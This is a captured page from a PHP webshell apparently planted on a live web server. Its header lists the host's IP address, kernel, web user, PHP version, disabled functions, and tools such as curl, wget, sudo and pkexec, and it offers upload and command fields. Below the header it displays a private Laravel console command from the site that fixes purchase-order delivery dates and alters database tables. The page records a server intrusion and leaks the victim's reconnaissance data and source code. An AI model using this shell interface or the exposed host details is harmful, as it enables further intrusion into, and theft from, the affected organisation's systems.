403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Console/Commands/CorrigePrevisaoEntregaOrdem.php
<?php

namespace App\Console\Commands;

use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Helper\ProgressBar;

use Illuminate\Console\Command;
use App\Modules\OrdemCompra\Models\OrdemCompra;
use Illuminate\Support\Facades\Log;
use DB;

class CorrigePrevisaoEntregaOrdem extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'corrige_previsao_entrega_ordem';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Corrige Previsões de Entrega Ordens de Compra';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        $this->output = new ConsoleOutput;
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {
        $this->info(date('d/m/Y H:i:s') . " - START \n");

        $this->info(date('d/m/Y H:i:s') . " - PREVISÃO ENTREGA \n");

        //PREVISÃO ENTREGA
        $ordensPrevisao = OrdemCompra::select('id')->whereRaw("previsao_entrega = '0000-00-00'")->get();
        $total          = count($ordensPrevisao);
        $progressBar    = new ProgressBar($this->output, count($ordensPrevisao));

        foreach ($ordensPrevisao as $ordem){
            $sql = "UPDATE ordem_compra SET previsao_entrega = NULL WHERE id = {$ordem->id}";
            DB::update($sql);

            $progressBar->advance();
        }

        $progressBar->finish();

        $this->info(date('d/m/Y H:i:s') . " - DATA ENTREGA \n");

        //DATA ENTREGA
        $ordensEntrega = OrdemCompra::select('id')->whereRaw("data_entrega = '0000-00-00'")->get();
        $total         = count($ordensEntrega);
        $progressBar   = new ProgressBar($this->output, count($ordensEntrega));

        foreach ($ordensEntrega as $ordem){
            $sql = "UPDATE ordem_compra SET data_entrega = NULL WHERE id = {$ordem->id}";
            DB::update($sql);

            $progressBar->advance();
        }

        $progressBar->finish();

        if(count($ordensPrevisao) > 0 || count($ordensEntrega) > 0){

            DB::statement("ALTER TABLE `ordem_compra` CHANGE COLUMN `status` `status` VARCHAR(2) NULL DEFAULT NULL COMMENT 'P-Pendente; A-Atendida; C-Cancelada; AP-Atendida Parcialmente; AR-Aprovada' AFTER `data_entrega`;");

            $sql = "INSERT INTO `sis_campo_options` (`id_campo_modulo`, `chave`, `valor`) VALUES ('254186', 'AR', 'Aprovada')";
            DB::insert($sql);

            DB::statement("ALTER TABLE `sis_campo_options` ADD COLUMN `ordem` INT(11) NOT NULL DEFAULT '0' AFTER `valor`;");

            $sql = "UPDATE `sis_campo_options` SET `ordem`='1' WHERE  `id_campo_modulo`=254186 AND chave = 'P';";
            DB::update($sql);

            $sql = "UPDATE `sis_campo_options` SET `ordem`='2' WHERE  `id_campo_modulo`=254186 AND chave = 'AR';";
            DB::update($sql);

            $sql = "UPDATE `sis_campo_options` SET `ordem`='3' WHERE  `id_campo_modulo`=254186 AND chave = 'A';";
            DB::update($sql);

            $sql = "UPDATE `sis_campo_options` SET `ordem`='4' WHERE  `id_campo_modulo`=254186 AND chave = 'C';";
            DB::update($sql);

            $sql = "UPDATE `sis_campo_options` SET `ordem`='5' WHERE  `id_campo_modulo`=254186 AND chave = 'AP';";
            DB::update($sql);

            $sql = "INSERT INTO `relatorio` (`nome`, `publico`, `id_setor`, `modulo`, `id_modulo`, `ordem`, `tipo`) VALUES ('Aprovadas', '0', '0', 'OrdemCompra', '20348', 'DESC', 'F');";
            DB::insert($sql);

            $sql = "INSERT INTO `relatorio_grupo` (`id_relatorio`, `condicao`) VALUES ('1028', 'AND');";
            DB::insert($sql);

            $sql = "INSERT INTO `relatorio_criterio` (`coluna`, `operador`, `valor`, `id_relatorio_grupo`, `ordem`) VALUES ('ordem_compra.status', '=', 'AR', '85', 2);";
            DB::insert($sql);

            $sql = "UPDATE `relatorio_criterio` SET `ordem`='1' WHERE  `id`=104;";
            DB::update($sql);

            $sql = "UPDATE `relatorio_criterio` SET `ordem`='2' WHERE  `id`=109;";
            DB::update($sql);

            $sql = "UPDATE `relatorio_criterio` SET `ordem`='3' WHERE  `id`=105;";
            DB::update($sql);

            $sql = "UPDATE `relatorio_criterio` SET `ordem`='4' WHERE  `id`=106;";
            DB::update($sql);

            $sql = "UPDATE `relatorio_criterio` SET `ordem`='5' WHERE  `id`=107;";
            DB::update($sql);

            $sql = "UPDATE `relatorio_criterio` SET `ordem`='6' WHERE  `id`=108;";
            DB::update($sql);

            DB::statement("ALTER TABLE `relatorio` ADD COLUMN `sequencia` INT(11) NOT NULL DEFAULT '0' AFTER `ordem`;");

            $sql = "UPDATE `relatorio` SET `sequencia`='1' WHERE  `id`=1023;";
            DB::update($sql);

            $sql = "UPDATE `relatorio` SET `sequencia`='2' WHERE  `id`=1028;";
            DB::update($sql);

            $sql = "UPDATE `relatorio` SET `sequencia`='3' WHERE  `id`=1024;";
            DB::update($sql);

            $sql = "UPDATE `relatorio` SET `sequencia`='4' WHERE  `id`=1025;";
            DB::update($sql);

            $sql = "UPDATE `relatorio` SET `sequencia`='5' WHERE  `id`=1026;";
            DB::update($sql);

            $sql = "UPDATE `relatorio` SET `sequencia`='6' WHERE  `id`=1027;";
            DB::update($sql);

        }

        $this->info("\n");

        $this->info(date('d/m/Y H:i:s') . " - DONE");

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit